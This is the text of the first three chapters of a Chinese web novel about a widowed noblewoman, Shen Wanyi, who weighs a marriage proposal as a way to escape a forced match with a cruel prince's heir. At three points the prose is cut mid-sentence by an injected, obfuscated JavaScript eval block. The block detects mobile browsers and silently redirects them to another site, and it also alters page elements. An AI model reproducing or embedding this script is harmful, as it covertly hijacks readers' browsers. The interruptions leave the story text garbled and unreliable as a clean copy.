《守寡再婚后,亡夫回来了》 1. 第 1 章 建宁十九年,暮春时节的上京城依旧阴雨连绵。 沈婉仪掀起马车车帘看向窗外,绵密的雨丝顺着微风扑面而来,微冷的水珠让她浑身起了一个颤栗。 芸香见此将她身上的斗篷又拉得严实了一些,刚想开口劝她把车帘放下,门外却响起了车夫的声音。 “姑娘,万鹤楼到了。” 万鹤楼。 此处乃是上京城最富盛名的酒楼,即使是最便宜的一道菜,也抵得上寻常人家一月的花销。但即便如此,仍抵挡不住食客们的热情。 沈婉仪戴着幕笠下了车,和芸香一道进了楼。 正值晌午,楼内大堂早已座无虚席,往来皆是锦衣华服的贵胄子弟。 沈婉仪要见的人在三楼,她并未在大堂过多停留,甫一进门便径直往楼梯方向走。 靠着楼梯最近的那桌客人,刚刚吃饱喝足,于是席间有人挑起话头,“前段时日沈府外面热闹的很,最近怎么忽然冷清下来了?” 沈婉仪耳尖地听到“沈府”二字,脚步渐渐慢了下来。 “之前那些都是些替人说亲的媒人,现在永安王府都发话了,自然也就没人敢去沈府提亲了。” 一人摇着折扇疑惑道,“不是在说沈府吗?怎么又和永安王扯上关系了?永安王发话?发的什么话?” “哎,你这消息也太闭塞了!永安王世子萧延看上了沈尚书的女儿沈婉仪,派人去上门提亲。同时还放出话来,想等这沈婉仪丧期一满就和沈尚书结为亲家。” “若是两情相悦,不是应该先定下婚约吗?为何现在单是永安王府传出消息来?” 旁边的人也压低声音问:“那世子殿下不是最爱凌虐女子吗?沈尚书爱女心切,又怎么乐意将女儿嫁过去呢?” “不乐意也没办法,萧延的爹可是永安王,圣上的亲弟弟!虽然现在沈府那边还拖着没有表态,但你看现在谁还敢去沈府提亲?依我看,那沈婉仪嫁入永安王府乃是迟早的事!” “王兄此言差矣,世子三心二意一事大伙又不是不知,他光是后宅的姬妾都有七八个,说不定世子明日喜欢的又是那王婉仪、张婉仪了。” 又一人放下酒杯,插进话来:“我记得沈尚书的女儿好像是一个寡妇吧,虽说我们大齐并不禁止寡妇再嫁,可那沈婉仪好像还带着个四岁稚女,怎么还这么惹得世子惦记?” “你别说,那沈婉仪,光凭她那张脸就足够让人惦记!况且当年她和梁钺将军成婚后又素有贤惠持家的美名,娶妻娶贤,如此一来,惦记的人可不就多了去了嘛!” ...... 沈婉仪抬眼朝那边看过去,看到了几个空着的酒碗,其中一人还在不断挨个倒酒。她皱了皱眉便收回视线,面无表情地听着这些人谈论着以自己为主角的闲言碎语。 越到后面,酒喝得多了,说的话也尽是些污言秽语。 身后的芸香听得怒气冲冲,若不是沈婉仪拉着,她恐怕早就已经冲上去与这些人理论。 “先走吧,约了人呢。” 上了楼,入目皆是紧闭的房门,虽仍有人声,但比之楼下已然算是安静了不少。楼梯口候着小二,芸香上前告知来意,二人便被领着到了临街的一间雅座。 “姑娘约的人已经到了,姑娘,请吧。”小二将门推开,做出个“请”的手势。 沈婉仪听到这话刚迈出的步伐微微一顿,她已经比约定的时间早了半个时辰,里面的人竟比她到得还早。 要进门前,她吩咐芸香回马车去拿了一样东西。 步入屋内,沈婉仪抬眼轻扫一周,此处乃是一间雅致小室。四周墙壁上都挂着精美的字画,一道紫檀木雕花海棠刺绣屏风将室内一分为二,屏风的左侧,也就是靠近门这一侧,矗立着一张黑漆雕花四方桌,桌上是一个青白釉盘口瓶,插着几枝半开的海棠。 朝屏风右侧一望,轩窗正开,临窗着设一张梨花木的小案,案上,一个小巧铁壶静坐于红泥小炉上,炉中炭火正旺,壶嘴正冒着热腾腾的白气。 隔着屏风可以依稀看见那里坐着一个人影。 沈婉仪取下幕笠,绕过屏风,缓步走到那人跟前,行了个礼。“妾身沈氏,见过柳大人。” “沈姑娘不必多礼。”清润的嗓音,宛如山涧溪流缓缓流淌。 沈婉仪直起身子,缓缓抬起视线看向上座之人。 那里坐着个眉目清俊的男人。 身穿靛青色的广袖宽袍,腰上束着暗色祥云宽边锦带,其上挂着一块玉质极佳的墨玉,青丝以蓝玉冠束起,露出极其俊秀的面容。 沈婉仪看过去时,他刚刚抿了一口茶,察觉到她的目光,他微微掀起眼帘对上她的视线,露出温和的笑意,“还请上座。” 沈婉仪依言动作。 刚坐下,沾了水汽的凉风透过敞开的窗户斜着吹进来,沈婉仪被冷的一颤。 对面之人注意到她微不可查的颤栗,抬了抬手,示意身后的小厮把窗户关上。 沈婉仪不想再次处在密闭的空间之中,轻轻抬手制止,“不用了,这样就挺好的。” 她微微侧头,视线透过窗口眺向远方。 此处视野极佳,即使隔着朦胧的雨丝,从这里望出去也依然能看到京郊云遮雾绕,苍翠欲滴的青山。 眼下已是暮春,对面之人未料到她如此怕冷,见她不愿关窗,怕她着凉,于是叫人搬来一个烧着银丝炭的铜炉放在离她不远处的地方。 沈婉仪见此,轻声道了个谢。 “沈姑娘太过客气。”话音未落,一只天青色茶杯已递至眼前。 沈婉仪礼貌接过,又低声道了谢。 见她如此客气疏离,对面之人也只好无奈地笑了笑。 一时无言。 细白的手指摩挲着杯沿,沈婉仪隔着升腾的白雾,掀起眼帘不动声色地打量着对面。 氤氲水雾中男人出色的眉目更显清隽,但其只不紧不慢地喝着茶,似乎并无开口的意思。 这人是沈婉仪约见的,她并不想在此静坐磋磨时光,于是率先打破沉默,“柳大人在这个档口来沈府提亲,不怕遭到永安王府报复吗?” 听到她的问话,柳青砚放下手中的茶盏徐徐开口,“行得端坐得直,自然不怕。” 沈婉仪挑了挑眉,望向对面那双如墨的眸子,“倘若这件事会使大人丢掉性命呢?” 柳青砚微微一愣,似乎没想到沈婉仪会这样问,但他只顿了顿,便给出了答案。 沈婉仪只听他一字一句道:“虽死无悔。” 语气依旧温和,但话里面的坚定让人无法忽视。 但这样坚定的话,却让沈婉仪皱了皱眉。 三日前她外出离府,回来时母亲告诉她,她离府时,御史中丞柳青砚柳大人托媒人上门求亲了。 永安王府原本放出话来,打的就是想让整个上京城无人敢娶沈婉仪的主意,这样才好逼着沈婉仪在嫁入王府和守寡一生中做选择。 而现在却有人敢冒着和永安王府作对的风险求娶沈婉仪,这对于沈府来说无疑是大喜事。 永安王世子恶名在外,若是有得选,谁也不会选择把女儿嫁给他。 现在有人上门提亲,这意味着沈婉仪又多了一个选择。 虽说是好事,但沈父沈母也没有让这份喜悦冲昏头脑,他们并未立即应承下来,只说还需考量,一周后才派人去回话。 沈婉仪当时听完沈母的话,在脑海里思索了许久“柳青砚”这个名字,最后确认,她与此人并不相识。 一个素昧平生的人,却敢在人人都对沈府避之不及的时候向她提亲,这不免让人多想。 沈婉仪的母亲林氏其实也对这人知之甚少,当日她见女儿略有所思的模样,便把从沈父那里问来的消息一丝不漏地讲给女儿听。 这柳青砚柳大人年二十四,并不是上京人士,他是为了参加建宁十三年,也就是六年前的春闱才独自一人来的上京。 恰巧那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922770|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年沈婉仪的父亲沈正年也是考官之一,当年沈父阅卷回来的当晚,就曾和沈母谈起过有一人做的文章极好,恐这次榜上有名。 后来果不其然这人不仅上榜,而且还是圣上亲点的探花。 这人便是柳青砚。 沈父初次见到柳青砚时很是惊讶,因为他读此人文章时只觉字字珠玑,切中肯綮,还以为能做出此文章的人,必不下而立之年。 谁知等见了面才发现此人竟是个还未及冠的青年,沈父当时心里不由暗叹,此子年纪轻轻便有此等觉悟,以后的仕途恐怕必定不凡。 可惜事情并不像沈父预料般发展。 柳青砚在任翰林院编修的第二年,便因出言不逊,被圣上派去了邺州做刺史。 邺州地靠西南边陲甚是偏远,这柳青砚一去便是五年。好在这五年里他并未因被贬而一蹶不振,反倒是一直克己奉公,一心为民。 直至去年他终于被圣上想起这才被调回上京。 “你父亲说,他在朝中和这人打过几次交道,人倒是办事勤勉,谦和有礼,只是家世略微差了些。” “若是往常他来府上提亲,我和你父亲是断然不会同意的,但现在形势所迫,比起那萧世子来讲,这人倒也是个君子。” “婉婉,你在听吗?”沈母见女儿发愣,轻轻拍了拍女儿的手。 沈婉仪被这一拍也回过神来,她刚刚听着沈母讲这人的过往经历,心下更加确认自己与此人没有半点交集。 若是硬要扯上关系的话,那便是这人中探花那一年便是她和梁钺成婚的那一年,建宁十三年。 除此之外,再无瓜葛。 所以她才想不明白,她与这人素不相识,这人却要冒着被永安王府报复的风险在此时来沈府上门提亲。 图什么呢? 若是只是奔着自己的外貌和那些虚名而来,这并不足以赌上他的性命,不然这些天以来也不会只有这位大人上门提亲了。 沈婉仪把自己担忧之事告诉了母亲。 “今日这柳大人陡然上门提亲,我和你父亲也很是震惊,你担忧之事,亦是我们所操心之事。今日媒人走后,你父亲已经派人快马加鞭去这柳大人的老家梁溪郡打听他的底细,不出五日,应该就有消息了。” 一个人的好坏,从他的四邻八乡口中便能多多少少知道一些,虽不能全信,但起码也能对此人了解个大概。 但了解一个人最好的办法,还是得亲自聊上几句才行。 “娘,你告诉父亲,帮我把这柳大人约出来见见吧。” 于是便有了今日这场会面。 思绪收回,沈婉仪拧着的眉头依旧没有松开,柳青砚给出的答案她完全没有料到。 她与此人完全不相识,他能在这个关头到沈府提亲已是十分不寻常,而现在他更是说出什么“虽死不悔”的话来,实在是怪异至极。 定是另有所图。 沈婉仪想,她现在唯一能拿得出手的筹码便是自己的家世,她的祖父是赫赫有名的镇北将军,虽已逝世,威名仍在。 她父亲是吏部尚书,且是两朝老臣,母亲是宁国公的嫡女,父亲和母亲都是一脉单传,到她这一辈,也只得她和弟弟两个孩子。 虽对颇得圣心眷顾的永安王父子而言这算不得什么,但是对于像柳青砚这种既没什么背景又在朝中刚刚冒头的新晋官员来说,她们家确实是可以值得攀附的大树。 赌上自己的性命来求亲借此博取前程,这倒听上去要令人信服一点。 想到此,她心念微动,想试探是否真的如她所想。 她抬眼,用黑白分明双瞳望向对面之人的眸子,像是要透过眼睛直接看到他的心底,“大人此举,所求为何?” 她问这话时,停下了手上摩挲茶杯的动作,柳青砚隔着一尺的距离迎上那道清凌凌的视线,纵使有朦胧的水雾相阻,她眼底里的审视和探究也分毫不减。 一如当年。 “你。” 2. 第 2 章 “倘若我这样答,姑娘可会相信?” 听到如此答案,沈婉仪收回视线,神色淡淡地拿起茶杯抿了一口茶,“大人还是不要随意拿妾身开玩笑了。” 显然不信。 似乎是早就料到她会有此回复,柳青砚为她慢慢添上茶水,讲了一个故事。 柳青砚的家在宛州朔阳的柳家村,一个名不见经传的地方。 柳家村并不大,整个村子加在一起也就二三十户人家,而且有些人家户里的青壮年不是去从了军,就是去外地讨了生计。 所以当十六年前马匪夜半来袭时,整个村子几乎毫无招架之力。 黎明未到,村子已被马匪洗劫一空,他的父亲为了保护他和母亲,死在了马匪的刀下。 当时村子里面的其他人敢反抗的、能反抗的,也都死在了马匪的刀下。 为了活命,他和母亲与村里的剩下其他人一起,迎着刚初生的朝阳被马匪掳上了山。 那年他八岁。 上山后,他和母亲被分开关押,他想了那多办法,盘算了许多次,但最后无力地发现以他目前的力量是不能将母亲和大伙都救出去的。 他感到非常痛苦和绝望。 更绝望的是,上山不过第二日,他便听到了马匪头子要娶母亲的消息,时间在三日后。 马匪告诉他,若是他表现得好,他当日会被放出去喝他亲生母亲的喜酒,于是接下来的几日,他一直乖乖的很是听话。 母亲成婚的当日,他果然被放了出去。 他借着馋嘴的由头,找机会潜到了后厨,将村医王大夫给他的毒药混到了酒里。 因为并不能保证所有马匪都会喝到毒酒,所以他从后厨出来后便直奔关押着母亲的地方,那件屋子的门口守着两个膀大腰圆的匪徒,他强闯进去带着母亲逃跑是不现实的。 于是他只好隐在暗处,想着到时候趁前院乱了,便伺机带着母亲逃跑。 但一直等到马匪头子来,前院也没有丝毫乱的动静,他也被四处搜寻的马匪找到了踪迹,带回了地牢。 当时的他并不知道,他从牢里被放出来开始,就一直有人监视着他,所以下药一事也被人看在了眼里。 他走后便有人出来将被下了药的酒给换了,所以他预想中的情况也就一直没发生。 被关回地牢后,他仍担心着母亲那边的情况,母亲性子刚烈,他怕她为了保全自身,用一些伤敌一千自损八百的法子。 那晚,他双手扒在牢门前,眼巴巴望着门口,一直等着母亲的消息。 却没想到,母亲的消息没等到,却等到了前来释放他们的人。 将他们放出去的人告诉他,他们是镇北将军沈钧的手下,原本是跟着沈将军回京述职的。 为了避开一些人的耳目,沈将军带着他们一小队人走的小路,没想到路过他们村子的时候,发现了匪徒肆虐的痕迹,于是沈将军当即便决定来着他们来上山剿匪。 他们一行人本就是军中训练有素的精锐部队,抵御外敌时以一敌百也不在话下,更何况这些不成气候的小小匪徒了。 不过半个时辰,整个马匪窝就被一锅端了。 “刚开始那马匪头子还想拿抓的女人威胁我们将军,却没想到我们将军早有预料,直接让暗中埋伏在屋顶上的人一箭将那马匪头子射了个对穿,那马匪直接就死不瞑目地倒下了......” 那边,放他们出去的人还不停地讲述着他们将军的料事如神,柳青砚却从中听出来马匪头子抓的女人可能是他娘,门一开当即便冲出去找他娘的踪迹。 冲到前院时,那里已经聚集一小部分被解救的人,她们正感激涕零地对一个身材魁梧的中年男子道着谢。 “我在人堆里一眼就看见了我娘,她也正在四处找我,我见她没有受伤,一晚上吊着的心才终于放了下来。” 沈婉仪始终如一的表情,在听到“沈将军沈钧”几个字后,才终于泛起了涟漪。 “沈将军就是我祖父?” “正是。令祖对整个柳家村有再造之恩,最后离去时却只收了几个柿子当赠礼,母亲与我一直觉得内心惭愧。” “那时我年纪尚小,家中也并无其他值得相赠之物,便想着等到日后有能力之时,再去找令祖报恩。” “可惜......” 可惜建宁十一年,柳青砚来上京的两年前,沈婉仪的祖父不幸感染疟疾,因病去世了。 说到这,两人都静默了一瞬,最后还是沈婉仪率先打破沉默,“祖父一生都爱打抱不平,施恩不望报,大人不必将此事放在心上。” 柳青砚却不赞同地摇了摇头,“滴水之恩当涌泉相报,何况是救命之恩。” “世子求亲之事,柳某知晓后当即前去拜见,试图说服他改变主意。可惜世子态度坚决,不为所动。” “柳某思来想去,只好冒然登门提亲。柳某自知与姑娘云泥之别,或许难得姑娘青睐,所以还请姑娘不必将此事放在心上,可当做是权宜之计。” 听到这话,沈婉仪眼中闪过一丝疑惑,“权宜之计,如何个权宜法呢?” “姑娘若是答应,待姑娘丧期满后,便可与柳某结为夫妻。世子殿下那时就算再心仪姑娘,也不敢再妄动朝丞之妻。” “成亲之后,虽名义上我与姑娘是夫妻,但我会待姑娘如府上贵客,不会有半分逾矩之处,姑娘也只当来我府上做客就行。” “世子殿下喜新厌旧一事上京城内无人不知,待过段时日,他对姑娘的心思断了,姑娘便可与我和离。” 沈婉仪的手指有一下没一下地扣着茶杯,凝视着杯中漂浮的茶叶陷入沉思。 柳青砚说的这个法子乍一听起来确实像那么几回事,可若是仔细琢磨,便不那么合适了。 先不说成亲之后他会不会如他所说那样待她,光是成亲一事便给她上了一道枷锁。 若是那萧延心思难消,那她岂不是得一辈子困在柳青砚的宅院里? 况且尚不知他家中是否有难缠的长辈亲人,就算他能待她如客人,可此事又不可能告诉他的亲人长辈,在他们面前她难道还能以客人的身份自居吗? 这个法子远不如听上去那么靠谱。 柳青砚见她沉默不言,倒也不催促,只默默饮着茶,眺望着远山。 两杯茶见底,沈婉仪那边终于也缓缓放下了手中的茶杯,慢条斯理地开了口,“大人这法子虽然能解妾身现下困境,但却有许多弊端。” “妾身自己其实有个能一劳永逸的法子。” 听到这话,柳青砚刚想开口询问是何方法,却在想到了什么之后,瞳孔一缩,似有震惊之色地看向沈婉仪的方向。 下一秒,沈婉仪果然如他所料地说出了她所谓的法子,“妾身向陛下请旨,一辈子替已逝的夫君守寡,不就行了吗?” “大人,您说是吧?” 她说这话时,双眸亮的惊人,全然不复刚刚淡然自若的模样。 柳青砚忽然就意识到,打从一开始,她就抱的是这个想法。 他不动声色地为沈婉仪续上一杯茶,状似不经意地问道,“姑娘若是一开始就有这个念头,那为何迟迟不动作?” 沈婉仪明白他话中的意思,现在她之所以还能够不慌不忙地在这与他会面,是因为当前永安王府只是放了话出来,并未采取什么别的举动。 倘若是萧延已先一步去向圣上请了旨,赐了婚,那到时她嫁给世子一事也就成了板上钉了钉,无论什么法子也不好使了。 眼下这个时候,她先得比萧延快一步去见圣上才行。 但为何她明白这个道理,却又迟迟不肯行动,是因为她其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922771|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没有她表现得那么下定决心。 早在她当初听到梁钺死讯时,她就有过守寡一辈子的念头。 可当她弟弟沈嘉禾告诉她梁钺的遗言时,她内心便有些松动了。 梁钺在遗言中嘱咐她,让她找个比他更好的人陪着她,要让他们的女儿梁盈在父母的宠爱下长大。 他最后还说,“婉婉,你和阿盈要永远幸福。” 沈婉仪听到这些遗言时,泣不成声。 这些话他每次出征前都会说,可沈婉仪从不放在心上,因为她总是固执地认为,他肯定能够平安回来的,毕竟他那么厉害,从未打过败仗。 可他这一次依旧打了胜仗,却没能活着回来。 再次听到这些话,可是他却与她天人永隔,这怎不让她痛彻心扉? 这几句遗言当时便动摇了她守寡的心思,本来弟弟常年驻守漠北,就一直引得父母惦念。 梁钺死后的这几年,父母为自己操心良多,沈婉仪更是不想再让他们二人再为自己担惊受怕。 去年,她曾在母亲面前半开玩笑地提起自己不想再嫁一事。结果当日夜里,父亲下值回来,她就被他们二人叫到了书房,问了好一些话。 说到最后,父亲脸色难看,母亲更是眼眶含泪,沈婉仪见状只好态度严肃地解释说自己说的是玩笑话,当不得真的。 父母见她神情真挚,不像撒谎,最后才放她离去。 沈婉仪那时便知道,她若真是守寡一辈子,沈父沈母恐怕也要担忧一辈子了。 父母的牵绊,梁钺的遗言,女儿的幸福,这些都是导致她迟迟不敢行动的主要缘由。 这个念头从那时起便被她一直压在心底,再未对他人言说。 萧延提亲一事,恰好给了她一个光明正大的理由,能够让她理直气壮地告诉父母,她是被逼无奈才守的寡。 可沈婉仪依旧没有动作,因为她知道即便如此,父母知道她是被逼无奈,更会为她的处境而担忧。 她的婚事,她的后半生幸福,已是他们的心结了。 见她始终沉默,柳青砚倒也不催促,反倒来宽慰她,“姑娘既然不想说,那就不必说了。柳某今日应约前来,也只是想将此事告知姑娘,让姑娘多一个选择。” “但是否选择,怎么选择,选择权依旧在姑娘手里。这几日,姑娘可回府仔细考虑。” “不过还是希望姑娘能够尽快做出决定,毕竟现在最要紧的便是和世子殿下抢时间了。” 沈婉仪微微颔首,算是应下。 她慢慢起身行了个大礼,“无论最后妾身作何选择,都要谢过大人今日所做之事。” 柳青砚见她如此,立即起身准备扶她,可是手伸到一半又堪堪停住,似是想起男女授受不亲来,只让她快起,“沈姑娘不必如此客气,这些事比起令祖的救命之恩都不算些什么。” 沈婉仪依旧妥帖地将礼行完,“礼不可废。” 她行礼完起身看了看外面的天色,此刻距离她来不过三炷香的时间,乌云已聚集了一大片,雨势也渐大了起来,窗外的水迹从丝丝缕缕,变成了磅礴的水幕,远处的青山依然看不见了。 今日之事已毕,也不必在此外过多停留。 “大人所说之事,妾身会仔细考量。妾身今日出来的时辰也够久了,是时候回去了。” 柳青砚招手,让身后的侍从提上来一盒点心。 “姑娘不妨带上这盒樱桃酥,这是这万鹤楼的招牌,甜而不腻。听闻姑娘家中有一小女,这盒樱桃酥或许能得孩子喜爱。” 听他提起梁盈,沈婉仪倒也并不讶异,毕竟她和梁钺有一个女儿本就是众人皆知的事。 只是,他看上去茕茕孑立的模样,竟会特意给孩子带礼物,这倒让沈婉仪有些意外。 “妾身便替孩子多谢大人了。” 3. 第 3 章 沈婉仪出来的时候,芸香已然在门前候着了,她接过芸香递过来的香盒,默不作声地下楼。 刚刚那桌靠着楼梯口的客人仍未离去,只不过此时他们话题的主角已经从她换到别的人身上了。 她走到倒数第三阶楼梯时,“不小心”踩空了一格,怀中的香盒没拿稳,掉在了楼梯上,里面的香粉伴随震荡抖落了好一些出来。 一时之间,整个角落都是那香粉的味道。好在那味道并不持久,只一会便消散了。 旁边的人听见声响,寻着一丝若有若无的梅香看过来,见她无事,只是踉跄了一下,便收回了视线,继续高谈阔论着刚刚未完的话题。 沈婉仪捡起掉落的香盒,扶好幕笠,宛如无事发生地出了楼。 马车驶过石板,辘辘的车轮声自下而上传来。 二楼雅座中的人隔着窗户静静注视着远去的马车,直至其已经完全看不见影子,他才收回视线,品着茶,一言不发。 许久,小厮才听到他仿佛自言自语的轻语,“似乎是太着急了些。” 小厮跟了他许多年,犹豫着该不该接话。 尚未开口,就听到一声轻轻的叹息。 “算了,走吧。” 言书瞬间闭上嘴,默默跟在他家大人身后。 其实,他大概猜得出他家大人刚刚想问什么,无非是问,那沈姑娘会不会选择他家大人成婚。 若是真让他来答,其实他也心底没谱,他与那沈姑娘连面都没见过几次,又怎会知道她会做出如何选择? 但若是他处于沈姑娘的境地,他自是会立马选择他家大人。 且不说目前摆在沈姑娘面前无非就三条路可选,除了嫁给他家大人外,另外两条不是嫁给那花天酒地的世子,就是选择出家当一辈子尼姑。 他家大人洁身自好,人品也没话讲,选他家大人,难道不比另外两条路好吗? 言书这番话自然是存了一定私心的,不过这也怨不得他,毕竟自打当初在邺州城他被恰巧经过的柳青砚所救起,他便在心底暗暗发誓要一辈子效忠他家大人。 于是在他眼里自然什么人也比不过他家大人,更何况另外一个是在上京城已经“名声在外”的人。 虽然他对那沈姑娘知之甚少,但他实在想不出这沈姑娘不选他家大人的理由。 * 对于沈婉仪而言,不选这柳大人的理由实在是有很多。 她虽不愿嫁给那萧世子,但也并不想跳入另一个“火坑”,即使这火坑打着报恩的名义。 但是她知道,若是今日柳青砚的这番话被沈父沈母给完全知晓,那她的婚事恐怕不出明日就得敲定了。 毕竟若是柳青砚的话为真,那与另外两个选择相比,他的提议确实充满诱惑力。 沈婉仪在心里默默盘算如何将与今日这场谈话转述给她的父母。 正想着,旁边的芸香忽然开口,“姑娘,那香盒可是有什么别的用处?” 芸香从刚刚被吩咐回去拿香盒就很是疑惑,因为她家小姐出门后便没有随身携带香粉的习惯。 沈婉仪见她好奇的模样,替她解惑,“这香盒中的香粉闻着像梅香,却是雪霜花磨成的粉,若是喝了许多酒之人闻到不出七日便会喉咙肿痛不止,严重者还会短时失声。” 芸香听着眼睛越来越亮,“那刚刚那桌人他们喝了那么多的酒岂不是......” 沈婉仪点了点头,“未来三个月,不管他们愿不愿意,嘴巴都会放干净些了。” 她刚刚特意观察过,靠着楼梯周围那几桌,只有他们那桌在喝酒,喝得还不少,恰好她马车上就刚好放着雪霜,于是便有她“绊倒”那一幕了。 “那是他们活该!姑娘,你真厉害!” 万鹤楼离沈府并不算太远,马车的速度渐渐慢了下来,沈婉仪轻呼出一口气,下了车。 前脚刚踏进府门,后脚沈母那边便来人传唤,要她过去。 饶是沈婉仪知晓她和柳青砚的这次见面,她娘比她更在意情况,却没想到她竟如此迫不及待,连让她歇一脚的机会也不给。 果不其然,刚踏进沈母的兰亭苑,便碰上了正等不及要去找她的沈母林氏,她身后还跟着余妈妈。 见到她,林氏焦急的神色渐缓,沈婉仪走上前扶着她到屋内,沈母还未坐稳,便着急拉着她询问,“此人如何?” 沈婉仪轻轻握住母亲的手,语气无甚波澜地评价了一句,“尚可。” 她刚说完就见沈母的额头皱得更深了。 见状,她忍不住伸出手轻轻抚过母亲紧皱着的额头,“娘,您不必如此忧虑。” “婉婉,我怎么能不忧虑?” 沈母连日来白日和夜晚都想着此事,此刻被女儿一激,更是忍不住倾诉自己的担忧。 “那萧世子虎视眈眈,眼下除了这柳大人之外又无其他好人家可选,若是此人再不行,那你的终身大事可如何是好?”。 说到此事,沈母的脸上透出一股掩饰不足的疲惫之意,眉宇间尽是沧桑之色。 听着她娘如此抱怨,沈婉仪心里的念头忍不住又动了动,她试探道,“此人再不行,那我便去向陛下请旨为梁钺守寡一生,一辈子待在家里面陪着......” “爹娘”两个字还没说出口,她的话便被沈母严肃打断。 沈母脸上的神色已比刚刚更加难看,锐利的眼神落在她身上,“上次不是说再也不说这些不吉利的话了吗?为何又再提及此事?” 似是想到了什么,沈母的心一下子提了起来,“莫不是这柳大人比那萧世子还差?” “倒也不是。”沈婉仪见她娘脸色欠佳,于是便审时度势地立即转移话题。 “这柳青砚柳大人和爹说的大致都对得上,他为人确实谦和有理,相貌倒也算标志。” 听到这话,沈母的心稍稍放下了一些,但也并未完全放下,“你可有试探他如此行事的目的?” 那日柳青砚上门提亲后,沈父和沈母也多次议论此事。 在萧世子提亲之前,来沈府说亲的媒人络绎不绝,但在萧世子提亲后,还敢来沈府提亲的人就只有这一个。 若说他没有图谋,那是一个人也不敢信的。 “柳大人说,他认识祖父,此举是为报恩。” 沈婉仪将自己与柳青砚的谈话掐头去尾讲给了沈母听,掐的是那句“所求为她”的头,去的是婚后以礼相待的尾。 “......芸香手里提的那盒樱桃酥便是他送给阿盈的。” 林氏顺着沈婉仪手指的方向看向那盒樱桃酥,芸香连忙上前一步将食盒给打开。 一盘菱叶形状的酥饼出现在眼前,金黄的外壳层层叠叠的堆在一起,最中间的位置点缀着一点深红,散发着浓郁的酸甜香气。 “倒是个有心的。拿下去验验,没问题就给阿盈拿过去。” “是。”芸香得了吩咐,迅速退下了。 屋里便只剩下沈婉仪,林氏和余妈妈。 “照你这么说,此人虽家境差了点,为人处世却温良恭俭,倒也勉强算得上值得托付之人。” 听沈婉仪讲完,加上之前沈父对这柳大人的描述,沈母心中这杆秤已然开始倾斜。 沈婉仪见母亲渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922772|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐舒缓的眉头,心中暗道不好。 不出所料,下一秒,沈母便问起了她的意见,“婉婉,选这柳大人做你夫君,你可愿意?” “娘,我不......”愿意两字还没说出口,便被急匆匆的脚步声给打断。 “夫人,姑娘,老爷的信。”沈父的贴身小厮福安气喘吁吁地跑进来,额头上都是汗珠。 “爹?他今日不是同圣上一起去永兴寺听慧真大师讲经了吗?” “是,姑娘。老爷派去朔阳的人有了消息,老爷走不开,他收到信看过之后,就让我赶快送了回来,他还另外写了一封信。” 福安说着,便从胸口处掏出两封信来,林氏连忙接过拆开,她看完便开始不安地踱步起来。 沈婉仪被这突然紧张的氛围搞得莫名,她接过母亲递过来的信,开始探寻母亲不安的缘由。 只看到第一句,她便已然明白。 “三日后慧真大师讲经完毕,永安王欲向圣上请旨赐婚。” “婉婉,你的婚事不可再拖。今日我已收到那柳大人的调查消息,此人乃是宛州朔阳人,年二十有四,乃是家中的独生子。其父在其七岁时被马匪所害,他和母亲二人被沿途经过的你祖父所救,你祖父于他家有恩。其母在其高中后不久也患病离去,现在此人家中只剩他一人。” “观其过往经历,确实是个谦卑有礼,有着逸群之才的人,在邺州城的那几年也确实办事勤勉,百姓口中也是对他赞誉有加。派去的人说,他家里之前也是去了好几批媒人的,但都被他一一给回绝了。” “为父思虑良久,决定替你答应此人求婚。婉婉,我知晓你心中或许不愿,但是也不必为此烦忧,为父为官二十余载,他不过一个刚调任回来的御史中丞,谅他也不敢亏待于你。” “倘若你有更好的办法,务必叫福安快马加鞭告知为父,若未收到来信,三日之后,为父会想办法赶在那永安王之前替你们请旨赐婚。” 沈婉仪看完第一封信,紧接着拆开第二封。第二封便是那柳青砚柳大人的过往经历,沈父找的人很是靠谱,这信封中连这柳大人的品□□好,生活习惯都摸得一清二楚。 她看完信,一言不发。因为她知道在沈父眼里,守寡一辈子可算不上什么好法子。 “婉婉,我觉得你父亲的话在理,我们就先答应这柳大人的求婚。” 见女儿心不在焉的模样,沈母更是着急,她以为女儿也是因为柳青砚的家境还在犹豫,于是她走过来轻轻握住女儿的手,“婉婉,现在可是火烧眉毛,不能再拖了!” “刚刚你说的那些和你父亲派去的人传回来的消息都吻合,这柳青砚官位在你父亲之下,成亲之后必要依附于他,婚后对你,他只会更加上心。” “婉婉,比起那萧世子,这柳大人门第清贫未必是憾事。” 聪慧如沈婉仪,如何不知沈母话中的含义? 她刚刚一直沉默不语只是在想,守寡一生和选个面貌品性尚可,但可拿捏对方的人当夫婿,两者究竟孰轻孰重? 前者虽是她心中所想但却不能孝敬父母,照顾女儿;后者虽能兼顾,但却总会有说不准的时候。 她总觉得柳青砚此人并不像会被拿捏一辈子的人。 不过...... 